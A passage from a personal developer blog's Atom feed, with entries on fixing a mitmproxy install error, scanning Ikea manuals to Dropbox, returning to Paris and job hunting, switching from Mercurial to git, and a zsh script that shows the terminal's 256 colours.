&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;src/lxml/lxml.etree.c:16:20:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; fatal&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; error:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; Python.h:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; No&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; such&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After a bit of googling, I understood that the issue was some missing headers on
my part. After running &lt;code&gt;sudo apt-get install python-dev&lt;/code&gt; I was good to run a
&lt;code&gt;sudo pip install mitmproxy&lt;/code&gt; again.&lt;/p&gt;
&lt;p&gt;Next step will be to configure the beast and learn how to use it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Doxie + Dropbox + Ikea = Love</title>
    <link href="https://blog.pixelastic.com/2013/08/26/doxie-dropbox-ikea-love/"/>
    <updated>2013-08-26T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/08/26/doxie-dropbox-ikea-love</id>
    <content type="html">&lt;p&gt;Thanks to &lt;a href=&quot;http://getdoxie.com/&quot;&gt;doxie&lt;/a&gt; and &lt;a href=&quot;http://www.dropbox.com/&quot;&gt;dropbox&lt;/a&gt;,
I&#39;m going the paperless way. Every important paper I get in my physical mailbox,
I now scan and put on the cloud. I have been doing it for bills, medical papers,
tickets, warranty and am now even doing it for Ikea instruction booklets.&lt;/p&gt;
&lt;p&gt;This way, when I&#39;ll be moving to a new appartement, I&#39;ll still be able to
dismantle and rebuild my furniture, even if they have gone out of production.&lt;/p&gt;
&lt;p&gt;As a gift, here are the links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/xdv1u9dk80488ly/Ikea%20-%20Colonne%20Expedit.pdf&quot;&gt;Expedit Column 1x5&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/x3c6sm31xpbnijf/Ikea%20-%20Meuble%20t%C3%A9l%C3%A9%20Expedit.pdf&quot;&gt;Expedit Tv unit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/9ja1n497x9h186a/Ikea%20-%20Lit%20Brimnes.pdf&quot;&gt;Brimnes bed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/f7l5kw5ox6q45pi/Sommier%20Ikea%20Sultan%20Lodingen%20Booklet.pdf&quot;&gt;Sultan Lodingen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/3agihtb9akad7vm/Ikea%20-%20Fauteuil%20Nils.pdf&quot;&gt;Nils chair with armrest&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Back in Paris!</title>
    <link href="https://blog.pixelastic.com/2013/07/22/paris/"/>
    <updated>2013-07-22T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/07/22/paris</id>
    <content type="html">&lt;p&gt;After one year in New Zealand, I&#39;m now back in Paris. The trip to New Zealand
was one of the best years of my life, I discovered so many things and places,
met so many people, that it changed me in more ways that I can really count. It
also greatly influenced the way I want to work.&lt;/p&gt;
&lt;p&gt;Being back in Paris, I now need to find a new job. I could go back to
freelancing, but I don&#39;t really want to. Freelancing had its advantages, but
also some important downsides. The biggest one being that you&#39;re mostly working
alone, and jumping from one project to the next.&lt;/p&gt;
&lt;p&gt;I now want to work in a team, to teach, and to learn. Sharing with others what I
know and learning from them what I don&#39;t is one of the most important things I&#39;m
now looking in my job.&lt;/p&gt;
&lt;p&gt;I also want to be working on one big project instead of countless small ones.
When you&#39;re freelancing, you&#39;re working on a project for weeks or months,
creating a website from scratch and making it take a life of its own, line after
line. But in the end, you hand it over to the guy who paid you to do it. And you
never really get to see it growing. I now want to work on a project that I&#39;ll be
able to follow, fix, and improve, days after days once it is launched in the
world.&lt;/p&gt;
&lt;p&gt;In New Zealand, I have been a WWOOFer (Willing Worker On Organic Farms) for over
8 months. All this was possible through the wwoofing website. Now, back in
France I extensively use services such as couchsurfing, airbnb or blablacar. I
love the way those websites allow people to meet through their services. I&#39;ve
met very interesting people thanks to that and I&#39;d love to work for a company
that can help linking people together.&lt;/p&gt;
&lt;p&gt;On a more technical-oriented side, I also want to change my tools. I&#39;ve been
making websites for the past 10 years, coding the server side part in PHP. I now
want to try something else. I used my time in New Zealand to learn a new
language on my own. I first tried Python, but couldn&#39;t really go anywhere with
it. I then tried Ruby and this was like discovering a new world. Writing and
reading Ruby seems like writing and reading prose. I haven&#39;t yet build any
website with Ruby, but coming from a cakePHP background, I guess Ruby on Rails
will seem natural to me. I now use Ruby extensively for my own scripting, be it
for changing a subtitle &lt;code&gt;.srt&lt;/code&gt; fps, automatically synchronizing my cellphone
files with my laptop, batch updating my mp3 tag collection and mostly any
tedious task that involves scripting on my day-to-day life. I haven&#39;t got the
chance to try node.js yet, but that&#39;s definitely next on my todolist.&lt;/p&gt;
&lt;p&gt;Following the same idea, I also want to get to better use git and its
collaborative features. I&#39;ve only used subversion in a team, and the experience
wasn&#39;t that great. Or I&#39;ve used git, but only for myself as I was the only
developper and I&#39;m sure I only used it to barely 10% of what it could do. I&#39;ve
also tried to follow the TDD principle of writing tests first and then the code
to make the test pass. I managed to do it once or twice, but the whole process
seemed so long and difficult that I&#39;m pretty sure I&#39;ve missed something here,
and would like to have someone to show me how they do it.&lt;/p&gt;
&lt;p&gt;On a related note, I now try to free as much code as I can through open- source,
but I&#39;d like to do even more. I currently only share small scripts without tests
and with scarce documentation. I know I could do better than that, but I&#39;ll need
someone to show me the way.&lt;/p&gt;
&lt;p&gt;I&#39;ve managed to switch from Windows to Ubuntu in the past years and can&#39;t
imagine going back. Working with your filesystem from inside a terminal and
writing scripts to make your life easier is so powerful that I cannot go back to
a GUI OS now. I&#39;ve also ditched a classical IDE, namely Komodo Edit, for
something different, namely vim. The switch has been hard at first, but now all
the vim keys are binded to my muscle memory and I love vim for all the exact
same reasons I love a terminal: you can script your tasks!&lt;/p&gt;
&lt;p&gt;This is only a small subset of the technical changes I&#39;ve already made or am
currently making. I&#39;d like to find a job where I&#39;m hired, not for my past
skills, but for the skills I want to develop. I currently have a resume where I
can attest extensive experience with PHP, but that&#39;s not what I want to do in my
future. What I want to do is, obviously, not on my resume. That is currently the
tricky part I have to face when looking for a job.&lt;/p&gt;
&lt;p&gt;As you can see, I have a pretty good picture of the kind of place I want for my
next job. Luckily, I&#39;m living in Paris, with a lot of job opportunities and I&#39;m
pretty sure I&#39;ll manage to find a place that match most of it. If you&#39;re
currently hiring, and my expectations meet yours, don&#39;t hesitate to shoot me an
email.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>From no versioning to git</title>
    <link href="https://blog.pixelastic.com/2012/11/21/versioning-git/"/>
    <updated>2012-11-21T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/11/21/versioning-git</id>
    <content type="html">&lt;p&gt;When I started working as a professional web developer, I wasn&#39;t using any
versioning system. When I needed to add a new feature to an existing website, I
just coded it and then uploaded it by FTP.&lt;/p&gt;
&lt;p&gt;Sometimes, it turns out that the feature was a failure, and that I needed to get
back to a previous version. Most of the time, I remembered the old feature and
could just type the old code back. Other times, I couldn&#39;t and getting the
website back to its previous state was a nightmare.&lt;/p&gt;
&lt;p&gt;So whenever I felt a feature could go wrong, I started creating manual backup of
files before editing them, prefixing them with &lt;code&gt;-version2&lt;/code&gt; and such. It worked
ok at first, but after some time, it was impossible, even for me to tell the
different versions appart.&lt;/p&gt;
&lt;p&gt;I also started to realize a trend on the web, reading from other developers,
that there was something call a version-control system. I thought I needed to
use one of them, to keep track of different version of files.&lt;/p&gt;
&lt;p&gt;I wasn&#39;t exactly sure which one was right for me, so I asked a few friends. Most
of them told me they were using Subversion at work, but that it had a few
shortcomings, but that it was still better than nothing. Another friend told me
that he was using Mercurial, both for personal projects and at work, at that his
whole team was actually versioning everything with it and were very happy about
it.&lt;/p&gt;
&lt;h2&gt;First steps with mercurial&lt;/h2&gt;
&lt;p&gt;So I thought I should start using Mercurial. If I have to learn a new tool, I&#39;d
rather take one that works well and where I have a friend able to help me on my
first steps.&lt;/p&gt;
&lt;p&gt;Back in these days, I was still using Windows so I downloaded and installed
Mercurial and its GUI version, TortoiseHG. I was quite happy with it the instant
I installed it. I could just &amp;quot;commit&amp;quot; (which was a new word for me) my changes
and know for sure that they were safe and that I could get back to previous
versions of my file easily.&lt;/p&gt;
&lt;p&gt;I was committing all my changes at the end of each day, writing a long commit
message listing everything I had done in that given day. Then, the next morning
I could just re-read the previous commit message and remember what I was doing.
The commit message worked a bit like a todo list for what needed to be done.&lt;/p&gt;
&lt;p&gt;I was mostly using Mercurial as a backup system. I even opened an account on
BitBucket where I uploaded my changes every day, in the case my laptop crashed,
I still had backups of everything online.&lt;/p&gt;
&lt;h2&gt;A little note about FTP&lt;/h2&gt;
&lt;p&gt;Using Mercurial had another benefical side-effect on my productivity. It made me
discover how backward FTP upload was. Before using Mercurial, when I needed to
add changes to a website, I connected to the server with FTP and transfered
every changed files from my local machine to the server.&lt;/p&gt;
&lt;p&gt;Of course, I had to remember which files I changed, and upload them one by one.
This was tedious. I had to move from directory to directory before copying the
files. I can&#39;t tell you how many times I had a bug in production that I couldn&#39;t
replicate on my local machine, just because I either forgot to upload a file or
uploaded it in the wrong place.&lt;/p&gt;
&lt;p&gt;Sometimes just to be sure to upload all the files on their correct places, I
simply uploaded the full website directory and let the FTP software choose if
they needed to be updated or not. But this took ages as the software had to send
a request to compare timestamp modification date for each file.&lt;/p&gt;
&lt;p&gt;And if I only had two files changed, I had to wait for the FTP to scan each file
between the first and the second one before it gets uploaded. This too resulted
in bug reports from customer that I couldn&#39;t replicate, even on production
because by the time I get to check the website, the missing file that was
causing the error had been uploaded and everything worked perfectly for me. In
the end, it created a list of &amp;quot;ghost bugs&amp;quot; that I was never sure if they were
real bugs or created by the FTP upload lag.&lt;/p&gt;
&lt;p&gt;Mercurial get rid of all this crap because it was clever enough to know which
files were changed from the last deployment, and even which part of the files
where changed, sending only the difference. This resulted in much faster upload
time and no more errors in missing files. Also, I got bonus security points for
transferring through ssl and not clear text FTP.&lt;/p&gt;
&lt;p&gt;Sorry for this little FTP disgression. Anyway, as you remember I was using
Mercurial as a backup system more than a version-control system. Commiting once
a day became cumbersome as I wanted more fine-tuning on what I commited. I ended
up commiting twice a day, or even every time I took a break, but then I realized
it made much more sense to commit based on feature and not on time.&lt;/p&gt;
&lt;h2&gt;No more Mercurial&lt;/h2&gt;
&lt;p&gt;And that&#39;s when Mercurial started to get in the way. I often worked on a feature
and while doing that, spotted tiny bugs or typos that I fixed while working on
the big feature. I wanted to commit only related changes together, and didn&#39;t
manage to do that well with Mercurial.&lt;/p&gt;
&lt;p&gt;I guess this is because I did not really understand how Mercurial worked back in
these days, but to be honest I do not understand it better now. Whenever a file
is modified in Mercurial, it is ready to be added to the next commit. But when
you create a new file or delete one, you have to tell Mercurial that you want
this add/delete to be registered in the next commit.&lt;/p&gt;
&lt;p&gt;As I said, I sometime just fixed small bugs or typos in files that had not much
to do with the feature I was working on at that moment. I would have like to be
able to commit only these files, and not the others. I never really managed to
make it correctly with Mercurial so in the end I was still commiting more files
that I wanted to.&lt;/p&gt;
&lt;p&gt;That&#39;s when I considered trying git instead of Mercurial. I made some googling
on &amp;quot;git vs Mercurial&amp;quot; to see how they differ and the general consensus seems to
be that git is more low level than Mercurial. Git has a plethora of commands,
most of them you&#39;ll never use, while Mercurial is focused on a workflow for the
end user that works well. Also, git allow the user to rewrite its history.&lt;/p&gt;
&lt;p&gt;After reading all this I was convinced Mercurial was the right tool for me. I
was still struggling with my current version system, I didn&#39;t want to try one
that was even more hard to understand. Plus, rewriting history? I don&#39;t want
that to happen in real life, I sure don&#39;t want that to happen with my files
either.&lt;/p&gt;
&lt;p&gt;So I digged deeper in Mercurial, trying to understand it better, to grok it but
no, really, I still could&#39;nt make it behave the way I&#39;d like to work with my
files so I finally decided to give git a try.&lt;/p&gt;
&lt;h2&gt;First steps with git&lt;/h2&gt;
&lt;p&gt;Because there was this thing named github, and all the cool kids where on
github, and I too wanted to participate in those big open source projects and I
felt like I was held back by the tool I was using.&lt;/p&gt;
&lt;p&gt;On my first hours of using git I managed to do what I had struggled to do with
Mercurial for so long. I could easily choose which files to commit or not and
split my work in several commits. Of course, I could never have done it without
google. Git man pages are gibberish and the command line commands and options
list is so vast I felt lost. Even when I found what I needed I wondered why the
git developers choosed to give them such abstract names without any apparent
cohesion in the complete git API.&lt;/p&gt;
&lt;p&gt;I had to create [aliases](https://github.com/pixelastic/oroshi/blob/master/con
fig/git/gitconfig) to do my day to day tasks with git so as not to remember and
type all these [crazy
commands](https://github.com/pixelastic/oroshi/blob/master/config/zsh/aliases-
git.zsh), but in the end it turns out ok. I keep running into problems, but none
that the help of google, StackOverflow and the incredibly rich git API can&#39;t
solve.&lt;/p&gt;
&lt;p&gt;I&#39;m now versioning any new project with git and even converted some old projects
from Mercurial to git. I know I&#39;m still in the early stages of learning git
(I&#39;ve only started using branches extensively since a few weeks) but I do really
enjoy it a lot.&lt;/p&gt;
&lt;h2&gt;What&#39;s next?&lt;/h2&gt;
&lt;p&gt;I&#39;ve done all my git training by myself, while in New Zealand for a year, away
from work and just for fun. I know that when I&#39;ll get back to Paris and start
looking for a new job I&#39;d like to find a place where the day-to-day workflow
involves git because I really want to see the way branching and merging helps
people work together building bigger things.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Spectrum, a script to see your terminal 256 colors</title>
    <link href="https://blog.pixelastic.com/2012/09/06/spectrum-script-terminal-256-colors/"/>
    <updated>2012-09-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/09/06/spectrum-script-terminal-256-colors</id>
    <content type="html">&lt;p&gt;Here is a little script I hacked together to display in your terminal all the
colors available in the 256 color spectrum, as well as a visual representation
of them.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/spectrum.png&quot; alt=&quot;Screenshot of spectrum output&quot;&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;oh-my-zsh&lt;/code&gt; project actually ships with a method named &lt;code&gt;spectrum&lt;/code&gt; that does
pretty much the same thing, but I found that it was hard to actually get a real
feel of what the color where with the original output. So I coded this one.&lt;/p&gt;
&lt;p&gt;It does not display the colors in the range &lt;code&gt;{000..015}&lt;/code&gt; because those are
dependent on your terminal configuration. Also, the output is split in blocks of
6 lines, with 2 blocks displayed side by side. You can modify those values in
the script if you want to make it easier to read on you screen. I use 2 and 6
because it is what is the more readable on my tiny netbook screen.&lt;/p&gt;
&lt;p&gt;Ok, enough talk, here is the script&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Display the terminal 255 colors by blocks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Long space is long&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; space&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; i&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;0..22}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; space&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$space&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Number of color lines per block&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; lines&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Number of blocks per terminal line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; blocks&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Tmp var to hold the current line in a block&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; m&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Tmp var to hold how many blocks are filled&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;typeset&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -A&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; grid&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# We want to display the blocks side by side, so it means we&#39;ll have to create&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# each line one my one then display all of them, and after that jump to the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# next set of blocks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; color&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;016..255}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    # Current line in a block&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    m&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;-16&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;%$lines&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    # Appending the displayed color to the line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    grid&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$m&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$grid&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$m&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;^[[01m^[[38;5;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${color}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;m#&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${color}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ^[[48;5;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${color}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;m&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${space}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;^[[00m  &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    # Counting how many blocks are filled&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;    [[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $m&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ]]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$b&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;+1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    # Enough blocks for this line, display them&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; [[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $b&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $blocks&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ]]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        # Reset block counter&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        b&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        # Display each line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        for&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; j&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;0..5}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;            echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $grid&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$j&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;            grid&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$j&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;        echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Display each remaining blocks&lt;/span&gt;&lt;/span&gt;
